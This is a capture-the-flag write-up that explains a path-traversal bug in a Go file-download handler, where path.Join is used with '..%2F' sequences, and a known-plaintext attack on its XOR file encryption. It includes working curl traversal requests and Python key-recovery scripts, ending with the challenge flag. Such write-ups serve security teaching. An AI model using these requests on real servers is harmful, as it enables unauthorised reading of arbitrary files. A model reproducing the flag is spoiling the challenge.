Initial Analysis#

Key observations from analyzing main.go:

• File Upload/Download System: Users can upload files which are encrypted with XOR before storage
• Session Management: Each session gets a unique encryption key (64 bytes) stored in SQLite database
• Encryption: Files are XOR encrypted with the session key using xorCopy() function
• File Paths: Upload uses filepath.Join() with sanitization, but download uses path.Join()

Vulnerability: Path Traversal#

The critical vulnerability is in the handleDownload function:

1
fileName := r.PathValue("file")
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filePath := path.Join(dir, fileName)

The Bug:

• The download handler uses path.Join() instead of filepath.Join()
• path.Join() is designed for URL paths, not filesystem paths
• URL-encoded path traversal sequences like ..%2F are NOT cleaned by the Go HTTP router
• After URL decoding, ..%2F becomes ../ which allows directory traversal

Exploitation Strategy#

The path traversal allows reading arbitrary files, but there’s a catch:

1. The flag is located at /flag.txt
2. When downloading ANY file, it gets XOR encrypted with the session key
3. Downloaded flag = plaintext_flag XOR key
4. We need the XOR key to decrypt the flag!

Exploitation Steps#

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curl "http://target/download/..%2F..%2F..%2F..%2Fflag.txt" \
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  -b "sid=YOUR_SESSION_COOKIE"

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curl "http://target/download/..%2F..%2F..%2F..%2Fapp%2Fmain" \
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  -b "sid=YOUR_SESSION_COOKIE" \
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  -o main_encrypted

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go build -o main_local main.go

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#!/usr/bin/env python3
2

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with open('main_encrypted', 'rb') as f:
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    encrypted_binary = f.read()
5

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with open('main_local', 'rb') as f:
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    local_binary = f.read()
8

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# Extract 64-byte key by XORing first 64 bytes
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key = bytearray(64)
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for i in range(64):
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    key[i] = encrypted_binary[i] ^ local_binary[i]
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print(f"Key: {key.hex()}")

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#!/usr/bin/env python3
2

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key = bytes.fromhex("3e1169a2c4f80a4c...")  # extracted key
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encrypted_flag = bytes.fromhex("507411d7b783667f...")  # from step 1
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flag = bytearray()
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for i in range(len(encrypted_flag)):
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    flag.append(encrypted_flag[i] ^ key[i % 64])
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print(flag.decode())

Root Cause Analysis#

• Incorrect Path Function: Using path.Join() (URL paths) instead of filepath.Join() (filesystem paths)
• Missing Input Validation: No sanitization on the fileName parameter in download handler
• Inconsistent Security: Upload properly sanitizes with filepath.Base(), but download doesn’t

Key Takeaways#

• Path vs Filepath: Go’s path package is for URLs, filepath is for filesystem paths
• Known Plaintext Attacks: XOR encryption is vulnerable when attackers can access both ciphertext and plaintext
• Defense in Depth: Multiple controls prevent exploitation

Flag#

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nexus{l34k_7h3_k3y_br34k7h3_c1ph3r}